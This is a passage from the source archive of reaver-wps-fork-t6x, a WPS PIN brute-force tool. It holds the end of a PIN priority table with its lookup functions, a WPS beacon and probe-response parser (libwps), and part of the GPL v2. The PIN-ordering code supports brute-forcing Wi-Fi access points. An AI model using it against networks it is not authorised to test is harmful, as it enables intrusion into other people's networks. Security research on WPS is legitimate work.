{ "720", 0 }, { "721", 0 }, { "722", 0 }, { "723", 0 }, { "724", 0 }, { "725", 0 }, { "726", 0 }, { "727", 0 }, { "728", 0 }, { "729", 0 }, { "730", 0 }, { "731", 0 }, { "732", 0 }, { "733", 0 }, { "734", 0 }, { "735", 0 }, { "736", 0 }, { "737", 0 }, { "738", 0 }, { "739", 0 }, { "740", 0 }, { "741", 0 }, { "742", 0 }, { "743", 0 }, { "744", 0 }, { "745", 0 }, { "746", 0 }, { "747", 0 }, { "748", 0 }, { "749", 0 }, { "750", 0 }, { "751", 0 }, { "752", 0 }, { "753", 0 }, { "754", 0 }, { "755", 0 }, { "756", 0 }, { "757", 0 }, { "758", 0 }, { "759", 0 }, { "760", 0 }, { "761", 0 }, { "762", 0 }, { "763", 0 }, { "764", 0 }, { "765", 0 }, { "766", 0 }, { "767", 0 }, { "768", 0 }, { "769", 0 }, { "770", 0 }, { "771", 0 }, { "772", 0 }, { "773", 0 }, { "774", 0 }, { "775", 0 }, { "776", 0 }, { "777", 1 }, { "778", 0 }, { "779", 0 }, { "780", 0 }, { "781", 0 }, { "782", 0 }, { "783", 0 }, { "784", 0 }, { "785", 0 }, { "786", 0 }, { "787", 0 }, { "788", 0 }, { "789", 0 }, { "790", 0 }, { "791", 0 }, { "792", 0 }, { "793", 0 }, { "794", 0 }, { "795", 0 }, { "796", 0 }, { "797", 0 }, { "798", 0 }, { "799", 0 }, { "800", 0 }, { "801", 0 }, { "802", 0 }, { "803", 0 }, { "804", 0 }, { "805", 0 }, { "806", 0 }, { "807", 0 }, { "808", 0 }, { "809", 0 }, { "810", 0 }, { "811", 0 }, { "812", 0 }, { "813", 0 }, { "814", 0 }, { "815", 0 }, { "816", 0 }, { "817", 0 }, { "818", 0 }, { "819", 0 }, { "820", 0 }, { "821", 0 }, { "822", 0 }, { "823", 0 }, { "824", 0 }, { "825", 0 }, { "826", 0 }, { "827", 0 }, { "828", 0 }, { "829", 0 }, { "830", 0 }, { "831", 0 }, { "832", 0 }, { "833", 0 }, { "834", 0 }, { "835", 0 }, { "836", 0 }, { "837", 0 }, { "838", 0 }, { "839", 0 }, { "840", 0 }, { "841", 0 }, { "842", 0 }, { "843", 0 }, { "844", 0 }, { "845", 0 }, { "846", 0 }, { "847", 0 }, { "848", 0 }, { "849", 0 }, { "850", 0 }, { "851", 0 }, { "852", 0 }, { "853", 0 }, { "854", 0 }, { "855", 0 }, { "856", 0 }, { "857", 0 }, { "858", 0 }, { "859", 0 }, { "860", 0 }, { "861", 0 }, { "862", 0 }, { "863", 0 }, { "864", 0 }, { "865", 0 }, { "866", 0 }, { "867", 0 }, { "868", 0 }, { "869", 0 }, { "870", 0 }, { "871", 0 }, { "872", 0 }, { "873", 0 }, { "874", 0 }, { "875", 0 }, { "876", 0 }, { "877", 0 }, { "878", 0 }, { "879", 0 }, { "880", 0 }, { "881", 0 }, { "882", 0 }, { "883", 0 }, { "884", 0 }, { "885", 0 }, { "886", 0 }, { "887", 0 }, { "888", 1 }, { "889", 0 }, { "890", 0 }, { "891", 0 }, { "892", 0 }, { "893", 0 }, { "894", 0 }, { "895", 0 }, { "896", 0 }, { "897", 0 }, { "898", 0 }, { "899", 0 }, { "900", 0 }, { "901", 0 }, { "902", 0 }, { "903", 0 }, { "904", 0 }, { "905", 0 }, { "906", 0 }, { "907", 0 }, { "908", 0 }, { "909", 0 }, { "910", 0 }, { "911", 0 }, { "912", 0 }, { "913", 0 }, { "914", 0 }, { "915", 0 }, { "916", 0 }, { "917", 0 }, { "918", 0 }, { "919", 0 }, { "920", 0 }, { "921", 0 }, { "922", 0 }, { "923", 0 }, { "924", 0 }, { "925", 0 }, { "926", 0 }, { "927", 0 }, { "928", 0 }, { "929", 0 }, { "930", 0 }, { "931", 0 }, { "932", 0 }, { "933", 0 }, { "934", 0 }, { "935", 0 }, { "936", 0 }, { "937", 0 }, { "938", 0 }, { "939", 0 }, { "940", 0 }, { "941", 0 }, { "942", 0 }, { "943", 0 }, { "944", 0 }, { "945", 0 }, { "946", 0 }, { "947", 0 }, { "948", 0 }, { "949", 0 }, { "950", 0 }, { "951", 0 }, { "952", 0 }, { "953", 0 }, { "954", 0 }, { "955", 0 }, { "956", 0 }, { "957", 0 }, { "958", 0 }, { "959", 0 }, { "960", 0 }, { "961", 0 }, { "962", 0 }, { "963", 0 }, { "964", 0 }, { "965", 0 }, { "966", 0 }, { "967", 0 }, { "968", 0 }, { "969", 0 }, { "970", 0 }, { "971", 0 }, { "972", 0 }, { "973", 0 }, { "974", 0 }, { "975", 0 }, { "976", 0 }, { "977", 0 }, { "978", 0 }, { "979", 0 }, { "980", 0 }, { "981", 0 }, { "982", 0 }, { "983", 0 }, { "984", 0 }, { "985", 0 }, { "986", 0 }, { "987", 0 }, { "988", 0 }, { "989", 0 }, { "990", 0 }, { "991", 0 }, { "992", 0 }, { "993", 0 }, { "994", 0 }, { "995", 0 }, { "996", 0 }, { "997", 0 }, { "998", 0 }, { "999", 1 } }; /** * Return the index of k1[].key of p1 values * * @params int* value The value of p1 key * * @return int The index of value in k1 */ int get_k1_key_index(int value) { int i; int indexs[3]; char str_pin[12]; indexs[0] = value; /* In k1, value == index is 87.66% */ indexs[1] = value+1; /* In k1, value+1 == index is 12.33% */ indexs[2] = 0; /* In k1, value in index 0 is 0.01% (1234) */ for (i=0; i<3; ++i){ if (indexs[i] >= 0 && indexs[i] < P1_SIZE){ sprintf(str_pin, "%04d", value); if (strcmp(k1[indexs[i]].key, str_pin) == 0) { return indexs[i]; } } } return -1; /* not found */ } /** * Return the index of k2[].key of p2 values * * @params int* value The value of p2 key * * @return int The index of k2 */ int get_k2_key_index(int value) { int i; int indexs[3]; char str_pin[12]; indexs[0] = value+1; /* In k2, value+1 == index is 56.6% */ indexs[1] = value; /* In k2, value == index is 43.3% */ indexs[2] = 0; /* In k2, value in index 0 is 0.1% (567) */ for (i=0; i<3; ++i){ if (indexs[i] >= 0 && indexs[i] < P2_SIZE){ sprintf(str_pin, "%03d", value); if (strcmp(k2[indexs[i]].key, str_pin) == 0) { return indexs[i]; } } } return -1; /* not found */ } reaver-wps-fork-t6x-1.6.6/src/keys.h000066400000000000000000000034271363372615500172310ustar00rootroot00000000000000/* * Reaver - All possible WPS PIN combinations * Copyright (c) 2011, Tactical Network Solutions, Craig Heffner * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA * * * In addition, as a special exception, the copyright holders give * permission to link the code of portions of this program with the * OpenSSL library under certain conditions as described in each * individual source file, and distribute linked combinations * including the two. * You must obey the GNU General Public License in all respects * for all of the code used other than OpenSSL. * If you modify * file(s) with this exception, you may extend this exception to your * version of the file(s), but you are not obligated to do so. * If you * do not wish to do so, delete this exception statement from your * version. * If you delete this exception statement from all source * files in the program, then also delete it here. */ #ifndef KEYS_H #define KEYS_H #include "defs.h" struct key { char *key; int priority; }; int get_k1_key_index(int value); int get_k2_key_index(int value); #endif reaver-wps-fork-t6x-1.6.6/src/libwps/000077500000000000000000000000001363372615500173775ustar00rootroot00000000000000reaver-wps-fork-t6x-1.6.6/src/libwps/libwps.c000077500000000000000000000320571363372615500210550ustar00rootroot00000000000000/* * LibWPS * Copyright (c) 2011, Tactical Network Solutions, Craig Heffner * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License version 2 as * published by the Free Software Foundation. * * See README and LICENSE for more details. */ #define LIBWPS_C #include "libwps.h" #include "../utils/common.h" #include "../cprintf.h" #include static char* append(char* s1, char *s2) { char buf[512]; int l = snprintf(buf, sizeof buf, "%s%s", s1, s2); if (l <= 0) return 0; if (l >= sizeof(buf)) { char *new = malloc(l + 1); if(!new) return 0; int m = snprintf(new, l + 1, "%s%s", s1, s2); assert(m == l); return new; } return strdup(buf); } static char* append_and_free(char* s1, char *s2, int who) { char *new = append(s1, s2); if(who & 1) free(s1); if(who & 2) free(s2); return new; } char *wps_data_to_json(const char*bssid, const char *ssid, int channel, int rssi, const unsigned char* vendor, struct libwps_data *wps, const char *progress) { size_t ol = 0, nl = 0, ns = 0; char *json_str = 0, *old = strdup("{"), *tmp; char buf[1024]; nl = snprintf(buf, sizeof buf, "\"bssid\" : \"%s\", ", bssid); json_str = append_and_free(old, buf, 1); old = json_str; tmp = sanitize_string(ssid); nl = snprintf(buf, sizeof buf, "\"essid\" : \"%s\", ", tmp); free(tmp); json_str = append_and_free(old, buf, 1); old = json_str; nl = snprintf(buf, sizeof buf, "\"channel\" : %d, ", channel); json_str = append_and_free(old, buf, 1); old = json_str; nl = snprintf(buf, sizeof buf, "\"rssi\" : %d, ", rssi); json_str = append_and_free(old, buf, 1); old = json_str; if(vendor) { nl = snprintf(buf, sizeof buf, "\"vendor_oui\" : \"%02X%02X%02X\", ", vendor[0], vendor[1], vendor[2]); json_str = append_and_free(old, buf, 1); old = json_str; } if(wps->version) { nl = snprintf(buf, sizeof buf, "\"wps_version\" : %d, ", wps->version); json_str = append_and_free(old, buf, 1); old = json_str; } if(wps->state) { nl = snprintf(buf, sizeof buf, "\"wps_state\" : %d, ", wps->state); json_str = append_and_free(old, buf, 1); old = json_str; } if(wps->locked) { nl = snprintf(buf, sizeof buf, "\"wps_locked\" : %d, ", wps->locked); json_str = append_and_free(old, buf, 1); old = json_str; } if(*wps->manufacturer) { tmp = sanitize_string(wps->manufacturer); nl = snprintf(buf, sizeof buf, "\"wps_manufacturer\" : \"%s\", ", tmp); free(tmp); json_str = append_and_free(old, buf, 1); old = json_str; } if(*wps->model_name) { tmp = sanitize_string(wps->model_name); nl = snprintf(buf, sizeof buf, "\"wps_model_name\" : \"%s\", ", tmp); free(tmp); json_str = append_and_free(old, buf, 1); old = json_str; } if(*wps->model_number) { tmp = sanitize_string(wps->model_number); nl = snprintf(buf, sizeof buf, "\"wps_model_number\" : \"%s\", ", tmp); free(tmp); json_str = append_and_free(old, buf, 1); old = json_str; } if(*wps->device_name) { tmp = sanitize_string(wps->device_name); nl = snprintf(buf, sizeof buf, "\"wps_device_name\" : \"%s\", ", tmp); free(tmp); json_str = append_and_free(old, buf, 1); old = json_str; } if(*wps->ssid) { tmp = sanitize_string(wps->ssid); nl = snprintf(buf, sizeof buf, "\"wps_ssid\" : \"%s\", ", tmp); free(tmp); json_str = append_and_free(old, buf, 1); old = json_str; } if(*wps->serial) { tmp = sanitize_string(wps->serial); nl = snprintf(buf, sizeof buf, "\"wps_serial\" : \"%s\", ", tmp); free(tmp); json_str = append_and_free(old, buf, 1); old = json_str; } if(*wps->os_version) { tmp = sanitize_string(wps->os_version); nl = snprintf(buf, sizeof buf, "\"wps_os_version\" : \"%s\", ", tmp); free(tmp); json_str = append_and_free(old, buf, 1); old = json_str; } if(*wps->uuid) { tmp = sanitize_string(wps->uuid); nl = snprintf(buf, sizeof buf, "\"wps_uuid\" : \"%s\", ", tmp); free(tmp); json_str = append_and_free(old, buf, 1); old = json_str; } if(*wps->selected_registrar) { tmp = sanitize_string(wps->selected_registrar); nl = snprintf(buf, sizeof buf, "\"wps_selected_registrar\" : \"%s\", ", tmp); free(tmp); json_str = append_and_free(old, buf, 1); old = json_str; } if(*wps->response_type) { tmp = sanitize_string(wps->response_type); nl = snprintf(buf, sizeof buf, "\"wps_response_type\" : \"%s\", ", tmp); free(tmp); json_str = append_and_free(old, buf, 1); old = json_str; } if(*wps->primary_device_type) { tmp = sanitize_string(wps->primary_device_type); nl = snprintf(buf, sizeof buf, "\"wps_primary_device_type\" : \"%s\", ", tmp); free(tmp); json_str = append_and_free(old, buf, 1); old = json_str; } if(*wps->config_methods) { tmp = sanitize_string(wps->config_methods); nl = snprintf(buf, sizeof buf, "\"wps_config_methods\" : \"%s\", ", tmp); free(tmp); json_str = append_and_free(old, buf, 1); old = json_str; } if(*wps->rf_bands) { tmp = sanitize_string(wps->rf_bands); nl = snprintf(buf, sizeof buf, "\"wps_rf_bands\" : \"%s\", ", tmp); free(tmp); json_str = append_and_free(old, buf, 1); old = json_str; } if(progress) { nl = snprintf(buf, sizeof buf, "\"progress\" : \"%s\", ", progress); json_str = append_and_free(old, buf, 1); old = json_str; } nl = snprintf(buf, sizeof buf, "\"dummy\": 0}"); json_str = append_and_free(old, buf, 1); return json_str; } /* * This is the only function that external code should call. * * const u_char *packet Pointer to a beacon or probe response packet * size_t len Size of the packet * struct libwps_data *wps Pointer to an allocated libwps_data structure * * Returns 1 if WPS data was found and the libwps_data structure has been populated. * Returns 0 if no WPS data was found. */ int parse_wps_parameters(const u_char *packet, size_t len, struct libwps_data *wps) { const u_char *data = NULL; size_t data_len = 0, offset = 0; struct radio_tap_header *rt_header = NULL; int ret_val = 0; if(wps) { memset(wps, 0, sizeof(struct libwps_data)); if(len > (sizeof(struct radio_tap_header) + sizeof(struct dot11_frame_header) + sizeof(struct management_frame))) { rt_header = (struct radio_tap_header *) libwps_radio_header(packet, len); offset = rt_header->len + sizeof(struct dot11_frame_header) + sizeof(struct management_frame); if(offset > len) { cprintf(CRITICAL, "corrupt data received, terminating!\n"); exit(1); } data = (packet + offset); data_len = (len - offset); ret_val = parse_wps_tag(data, data_len, wps); } } return ret_val; } /* Parse and print WPS data in beacon packets and probe responses */ int parse_wps_tag(const u_char *tags, size_t len, struct libwps_data *wps) { unsigned char *wps_ie_data = NULL, *el = NULL; char *ptr = NULL, *src = NULL; int i = 0, ret_val = 0; size_t wps_data_len = 0, el_len = 0; enum wps_el_number elements[] = { VERSION, STATE, LOCKED, MANUFACTURER, MODEL_NAME, MODEL_NUMBER, DEVICE_NAME, SSID, UUID, SERIAL, SELECTED_REGISTRAR, RESPONSE_TYPE, PRIMARY_DEVICE_TYPE, CONFIG_METHODS, RF_BANDS, OS_VERSION, VENDOR_EXTENSION }; /* Get the WPS IE data blob */ wps_ie_data = get_wps_data(tags, len, &wps_data_len); wps->locked = UNSPECIFIED; if(wps_ie_data) { for(i=0; i LIBWPS_MAX_STR_LEN) { el_len = LIBWPS_MAX_STR_LEN; } switch(elements[i]) { case VERSION: wps->version = (uint8_t) el[0]; break; case STATE: wps->state = (uint8_t) el[0]; break; case LOCKED: wps->locked = (uint8_t) el[0]; break; case MANUFACTURER: ptr = wps->manufacturer; break; case MODEL_NAME: ptr = wps->model_name; break; case MODEL_NUMBER: ptr = wps->model_number; break; case DEVICE_NAME: ptr = wps->device_name; break; case SSID: ptr = wps->ssid; break; case UUID: src = hex2str(el, el_len); ptr = wps->uuid; break; case SERIAL: ptr = wps->serial; break; case SELECTED_REGISTRAR: src = hex2str(el, el_len); ptr = wps->selected_registrar; break; case RESPONSE_TYPE: src = hex2str(el, el_len); ptr = wps->response_type; break; case PRIMARY_DEVICE_TYPE: src = hex2str(el, el_len); ptr = wps->primary_device_type; break; case CONFIG_METHODS: src = hex2str(el, el_len); ptr = wps->config_methods; break; case RF_BANDS: src = hex2str(el, el_len); ptr = wps->rf_bands; break; case OS_VERSION: ptr = wps->os_version; break; case VENDOR_EXTENSION: if (memcmp(&el[0], WFA_EXTENSION_ID, 3) == 0) { unsigned char *pwfa = &el[3]; /* WFA subelement ID */ while(el_len > 0) /* Cycle through all WFA subelements */ { if (*pwfa == WPS_VERSION2_ID) { wps->version = (uint8_t) pwfa[2]; break; } el_len -= pwfa[1] + 2; pwfa += pwfa[1] + 2; } } break; default: src = NULL; ptr = NULL; } if(!ptr) { continue; } memset(ptr, 0, LIBWPS_MAX_STR_LEN); if(!src) { memcpy(ptr, el, el_len); } else { strncpy(ptr, src, LIBWPS_MAX_STR_LEN); free(src); } src = NULL; ptr = NULL; free(el); } } ret_val = 1; free(wps_ie_data); } return ret_val; } /* Extracts and returns the WPS IE from a beacon/probe response packet */ unsigned char *get_wps_data(const u_char *data, size_t len, size_t *tag_len) { unsigned char *tag_data = NULL; struct tagged_parameter *tag_params = NULL; size_t tag_data_len = 0; int i = 0; for(i=0; i (WPS_VENDOR_ID_SIZE + VENDOR_ID_OFFSET)) { /* * The WPS IE tag number is 'Vendor Specific' and has various other uses. * Verify that this is actually a WPS IE. */ if(memcmp((data+i+VENDOR_ID_OFFSET), WPS_VENDOR_ID, WPS_VENDOR_ID_SIZE) == 0) { tag_params = (struct tagged_parameter *) (data+i); tag_data_len = tag_params->len - WPS_VENDOR_ID_SIZE; tag_data = malloc(tag_data_len); if(tag_data) { memset(tag_data, 0, tag_data_len); memcpy(tag_data, (data+i+VENDOR_ID_OFFSET+WPS_VENDOR_ID_SIZE), tag_data_len); *tag_len = tag_data_len; } break; } } } return tag_data; } /* Gets the data for a given IE inside a tagged parameter list */ unsigned char *get_wps_data_element(const u_char *data, size_t len, uint16_t type, size_t *el_len) { unsigned char *el_data = NULL; int offset = 0, tag_size = 0, el_data_size = 0; struct data_element *el = NULL; tag_size = sizeof(struct data_element); while((offset + tag_size) < len) { el = (struct data_element *) (data + offset); /* Check for the tag number and a sane tag length value */ if((ntohs(el->type) == type) && (ntohs(el->len) <= (len - offset - tag_size)) ) { el_data_size = ntohs(el->len); el_data = malloc(el_data_size); if(el_data) { memset(el_data, 0, el_data_size); memcpy(el_data, (data + offset + tag_size), el_data_size); *el_len = el_data_size; } break; } offset += (tag_size + ntohs(el->len)); } return el_data; } /* Make best guess to determine if a radio tap header is present */ int libwps_has_rt_header(const u_char *packet, size_t len) { struct radio_tap_header *rt_header = 0; int yn = 1; rt_header = (struct radio_tap_header *) packet; if((rt_header->revision != RADIO_TAP_VERSION) || ((int) rt_header->len <= 0) || (rt_header->len >= len) ) { yn = 0; } return yn; } /* * Returns a pointer to the radio tap header. If there is no radio tap header, * it returns a pointer to a dummy radio tap header. */ #define FAKE_RADIO_TAP_HEADER "\0\0\0\0" "\0\0\0\0" "\0\0\0\0" "\0\0\0\0" "\0\0\0\0" const u_char *libwps_radio_header(const u_char *packet, size_t len) { if(libwps_has_rt_header(packet, len)) { return packet; } else { return FAKE_RADIO_TAP_HEADER; } } /* Convert raw data to a hex string */ char *hex2str(unsigned char *hex, int len) { static const char atab[] = "0123456789abcdef"; char *str = malloc((len*2)+1), *out=str; if(!str) return 0; for(;len;hex++,len--) { *(out++) = atab[*hex >> 4]; *(out++) = atab[*hex & 0xf]; } *out = 0; return str; } reaver-wps-fork-t6x-1.6.6/src/libwps/libwps.h000077500000000000000000000100571363372615500210560ustar00rootroot00000000000000/* * LibWPS * Copyright (c) 2011, Tactical Network Solutions, Craig Heffner * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License version 2 as * published by the Free Software Foundation. * * See README and LICENSE for more details. */ #ifndef LIBWPS_H #define LIBWPS_H #undef _GNU_SOURCE #define _GNU_SOURCE #include #include #include #include #include #include #define LIBWPS_MAX_STR_LEN 256 enum wps_locked_state { UNLOCKED, WPSLOCKED, UNSPECIFIED }; struct libwps_data { uint8_t version; uint8_t state; uint8_t locked; char manufacturer[LIBWPS_MAX_STR_LEN]; char model_name[LIBWPS_MAX_STR_LEN]; char model_number[LIBWPS_MAX_STR_LEN]; char device_name[LIBWPS_MAX_STR_LEN]; char ssid[LIBWPS_MAX_STR_LEN]; char uuid[LIBWPS_MAX_STR_LEN]; char serial[LIBWPS_MAX_STR_LEN]; char selected_registrar[LIBWPS_MAX_STR_LEN]; char response_type[LIBWPS_MAX_STR_LEN]; char primary_device_type[LIBWPS_MAX_STR_LEN]; char config_methods[LIBWPS_MAX_STR_LEN]; char rf_bands[LIBWPS_MAX_STR_LEN]; char os_version[LIBWPS_MAX_STR_LEN]; }; int parse_wps_parameters(const u_char *packet, size_t len, struct libwps_data *wps); char *wps_data_to_json(const char*bssid, const char *ssid, int channel, int rssi, const unsigned char* vendor, struct libwps_data *wps, const char *progress); #ifdef LIBWPS_C #define WPS_TAG_NUMBER 0xDD #define WPS_VENDOR_ID "\x00\x50\xF2\x04" #define WPS_VENDOR_ID_SIZE 4 #define VENDOR_ID_OFFSET 2 #define WFA_EXTENSION_ID "\x00\x37\x2A" #define WPS_VERSION2_ID 0 #define RADIO_TAP_VERSION 0 #define TIMESTAMP_LEN 8 #define MAC_ADDR_LEN 6 enum wps_el_number { VERSION = 0x104A, STATE = 0x1044, LOCKED = 0x1057, MANUFACTURER = 0x1021, MODEL_NAME = 0x1023, MODEL_NUMBER = 0x1024, DEVICE_NAME = 0x1011, SSID = 0x1045, UUID = 0x1047, SERIAL = 0x1042, SELECTED_REGISTRAR = 0x1041, RESPONSE_TYPE = 0x103B, PRIMARY_DEVICE_TYPE = 0x1054, CONFIG_METHODS = 0x1008, RF_BANDS = 0x103C, OS_VERSION = 0x102D, VENDOR_EXTENSION = 0x1049 }; struct wps_element { enum wps_el_number number; char *name; }; struct data_element { uint16_t type; uint16_t len; }; struct tagged_parameter { uint8_t number; uint8_t len; }; struct radio_tap_header { uint8_t revision; uint8_t pad; uint16_t len; uint32_t present_flags; }; struct dot11_frame_header { uint16_t fc; uint16_t duration; unsigned char addr1[MAC_ADDR_LEN]; unsigned char addr2[MAC_ADDR_LEN]; unsigned char addr3[MAC_ADDR_LEN]; uint16_t frag_seq; }; struct management_frame { unsigned char timestamp[TIMESTAMP_LEN]; uint16_t beacon_interval; uint16_t capability; }; int parse_wps_tag(const u_char *tags, size_t len, struct libwps_data *wps); unsigned char *get_wps_data(const u_char *data, size_t len, size_t *tag_len); unsigned char *get_wps_data_element(const u_char *data, size_t len, uint16_t type, size_t *el_len); char *hex2str(unsigned char *hex, int len); /* these functions are duplicates of the ones in 80211.h the difference here is that libwps_has_rt_header() uses a heuristic to determine whether a radiotap header is present, since this is meant to be library code (not relying on global state), whereas 80211.h's version queries the pcap driver whether it supplies the header. the latter is safer, but as we only pass pre-filtered 802.11 packets to the functions here, that's OK - they should all pass through the heuristics. */ int libwps_has_rt_header(const u_char *packet, size_t len); const u_char *libwps_radio_header(const u_char *packet, size_t len); #endif #endif reaver-wps-fork-t6x-1.6.6/src/lwe/000077500000000000000000000000001363372615500166665ustar00rootroot00000000000000reaver-wps-fork-t6x-1.6.6/src/lwe/COPYING000077500000000000000000000431101363372615500177230ustar00rootroot00000000000000 GNU GENERAL PUBLIC LICENSE Version 2, June 1991 Copyright (C) 1989, 1991 Free Software Foundation, Inc. 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA Everyone is permitted to copy and distribute verbatim copies of this license document, but changing it is not allowed. Preamble The licenses for most software are designed to take away your freedom to share and change it. By contrast, the GNU General Public License is intended to guarantee your freedom to share and change free software--to make sure the software is free for all its users. This General Public License applies to most of the Free Software Foundation's software and to any other program whose authors commit to using it. (Some other Free Software Foundation software is covered by the GNU Library General Public License instead.) You can apply it to your programs, too. When we speak of free software, we are referring to freedom, not price. Our General Public Licenses are designed to make sure that you have the freedom to distribute copies of free software (and charge for this service if you wish), that you receive source code or can get it if you want it, that you can change the software or use pieces of it in new free programs; and that you know you can do these things. To protect your rights, we need to make restrictions that forbid anyone to deny you these rights or to ask you to surrender the rights. These restrictions translate to certain responsibilities for you if you distribute copies of the software, or if you modify it. For example, if you distribute copies of such a program, whether gratis or for a fee, you must give the recipients all the rights that you have. You must make sure that they, too, receive or can get the source code. And you must show them these terms so they know their rights. We protect your rights with two steps: (1) copyright the software, and (2) offer you this license which gives you legal permission to copy, distribute and/or modify the software. Also, for each author's protection and ours, we want to make certain that everyone understands that there is no warranty for this free software. If the software is modified by someone else and passed on, we want its recipients to know that what they have is not the original, so that any problems introduced by others will not reflect on the original authors' reputations. Finally, any free program is threatened constantly by software patents. We wish to avoid the danger that redistributors of a free program will individually obtain patent licenses, in effect making the program proprietary. To prevent this, we have made it clear that any patent must be licensed for everyone's free use or not licensed at all. The precise terms and conditions for copying, distribution and modification follow. GNU GENERAL PUBLIC LICENSE TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION 0. This License applies to any program or other work which contains a notice placed by the copyright holder saying it may be distributed under the terms of this General Public License. The "Program", below, refers to any such program or work, and a "work based on the Program" means either the Program or any derivative work under copyright law: that is to say, a work containing the Program or a portion of it, either verbatim or with modifications and/or translated into another language. (Hereinafter, translation is included without limitation in the term "modification".) Each licensee is addressed as "you". Activities other than copying, distribution and modification are not covered by this License; they are outside its scope. The act of running the Program is not restricted, and the output from the Program is covered only if its contents constitute a work based on the Program (independent of having been made by running the Program). Whether that is true depends on what the Program does. 1. You may copy and distribute verbatim copies of the Program's source code as you receive it, in any medium, provided that you conspicuously and appropriately publish on each copy an appropriate copyright notice and disclaimer of warranty; keep intact all the notices that refer to this License and to the absence of any warranty; and give any other recipients of the Program a copy of this License along with the Program. You may charge a fee for the physical act of transferring a copy, and you may at your option offer warranty protection in exchange for a fee. 2. You may modify your copy or copies of the Program or any portion of it, thus forming a work based on the Program, and copy and distribute such modifications or work under the terms of Section 1 above, provided that you also meet all of these conditions: a) You must cause the modified files to carry prominent notices stating that you changed the files and the date of any change. b) You must cause any work that you distribute or publish, that in whole or in part contains or is derived from the Program or any part thereof, to be licensed as a whole at no charge to all third parties under the terms of this License. c) If the modified program normally reads commands interactively when run, you must cause it, when started running for such interactive use in the most ordinary way, to print or display an announcement including an appropriate copyright notice and a notice that there is no warranty (or else, saying that you provide a warranty) and that users may redistribute the program under these conditions, and telling the user how to view a copy of this License. (Exception: if the Program itself is interactive but does not normally print such an announcement, your work based on the Program is not required to print an announcement.) These requirements apply to the modified work as a whole. If identifiable sections of that work are not derived from the Program, and can be reasonably considered independent and separate works in themselves, then this License, and its terms, do not apply to those sections when you distribute them as separate works. But when you distribute the same sections as part of a whole which is a work based on the Program, the distribution of the whole must be on the terms of this License, whose permissions for other licensees extend to the entire whole, and thus to each and every part regardless of who wrote it. Thus, it is not the intent of this section to claim rights or contest your rights to work written entirely by you; rather, the intent is to exercise the right to control the distribution of derivative or collective works based on the Program. In addition, mere aggregation of another work not based on the Program with the Program (or with a work based on the Program) on a volume of a storage or distribution medium does not bring the other work under the scope of this License. 3. You may copy and distribute the Program (or a work based on it, under Section 2) in object code or executable form under the terms of Sections 1 and 2 above provided that you also do one of the following: a) Accompany it with the complete corresponding machine-readable source code, which must be distributed under the terms of Sections 1 and 2 above on a medium customarily used for software interchange; or, b) Accompany it with a written offer, valid for at least three years, to give any third party, for a charge no more than your cost of physically performing source distribution, a complete machine-readable copy of the corresponding source code, to be distributed under the terms of Sections 1 and 2 above on a medium customarily used for software interchange; or, c) Accompany it with the information you received as to the offer to distribute corresponding source code. (This alternative is allowed only for noncommercial distribution and only if you received the program in object code or executable form with such an offer, in accord with Subsection b above.) The source code for a work means the preferred form of the work for making modifications to it. For an executable work, complete source code means all the source code for all modules it contains, plus any associated interface definition files, plus the scripts used to control compilation and installation of the executable. However, as a special exception, the source code distributed need not include anything that is normally distributed (in either source or binary form) with the major components (compiler, kernel, and so on) of the operating system on which the executable runs, unless that component itself accompanies the executable. If distribution of executable or object code is made by offering access to copy from a designated place, then offering equivalent access to copy the source code from the same place counts as distribution of the source code, even though third parties are not compelled to copy the source along with the object code. 4. You may not copy, modify, sublicense, or distribute the Program except as expressly provided under this License. Any attempt otherwise to copy, modify, sublicense or distribute the Program is void, and will automatically terminate your rights under this License. However, parties who have received copies, or rights, from you under this License will not have their licenses terminated so long as such parties remain in full compliance. 5. You are not required to accept this License, since you have not signed it. However, nothing else grants you permission to modify or distribute the Program or its derivative works. These actions are prohibited by law if you do not accept this License. Therefore, by modifying or distributing the Program (or any work based on the Program), you indicate your acceptance of this License to do so, and all its terms and conditions for copying, distributing or modifying the Program or works based on it. 6. Each time you redistribute the Program (or any work based on the Program), the recipient automatically receives a license from the original licensor to copy, distribute or modify the Program subject to these terms and conditions. You may not impose any further restrictions on the recipients' exercise of the rights granted herein. You are not responsible for enforcing compliance by third parties to this License. 7. If, as a consequence of a court judgment or allegation of patent infringement or for any other reason (not limited to patent issues), conditions are imposed on you (whether by court order, agreement or otherwise) that contradict the conditions of this License, they do not excuse you from the conditions of this License. If you cannot distribute so as to satisfy simultaneously your obligations under this License and any other pertinent obligations, then as a consequence you may not distribute the Program at all. For example, if a patent license would not permit royalty-free redistribution of the Program by all those who receive copies directly or indirectly through you, then the only way you could satisfy both it and this License would be to refrain entirely from distribution of the Program. If any portion of this section is held invalid or unenforceable under any particular circumstance, the balance of the section is intended to apply and the section as a whole is intended to apply in other circumstances. It is not the purpose of this section to induce you to infringe any patents or other property right claims or to contest validity of any such claims; this section has the sole purpose of protecting the integrity of the free software distribution system, which is implemented by public license practices. Many people have made generous contributions to the wide range of software distributed through that system in reliance on consistent application of that system; it is up to the author/donor to decide if he or she is willing to distribute software through any other system and a licensee cannot impose that choice. This section is intended to make thoroughly clear what is believed to be a consequence of the rest of this License. 8. If the distribution and/or use of the Program is restricted in certain countries either by patents or by copyrighted interfaces, the original copyright holder who places the Program under this License may add an explicit geographical distribution limitation excluding those countries, so that distribution is permitted only in or among countries not thus excluded. In such case, this License incorporates the limitation as if written in the body of this License. 9. The Free Software Foundation may publish revised and/or new versions of the General Public License from time to time. Such new versions will be similar in spirit to the present version, but may differ in detail to address new problems or concerns. Each version is given a distinguishing version number. If the Program specifies a version number of this License which applies to it and "any later version", you have the option of following the terms and conditions either of that version or of any later version published by the Free Software Foundation. If the Program does not specify a version number of this License, you may choose any version ever published by the Free Software Foundation. 10. If you wish to incorporate parts of the Program into other free programs whose distribution conditions are different, write to the author to ask for permission. For software which is copyrighted by the Free Software Foundation, write to the Free Software Foundation; we sometimes make exceptions for this. Our decision will be guided by the two goals of preserving the free status of all 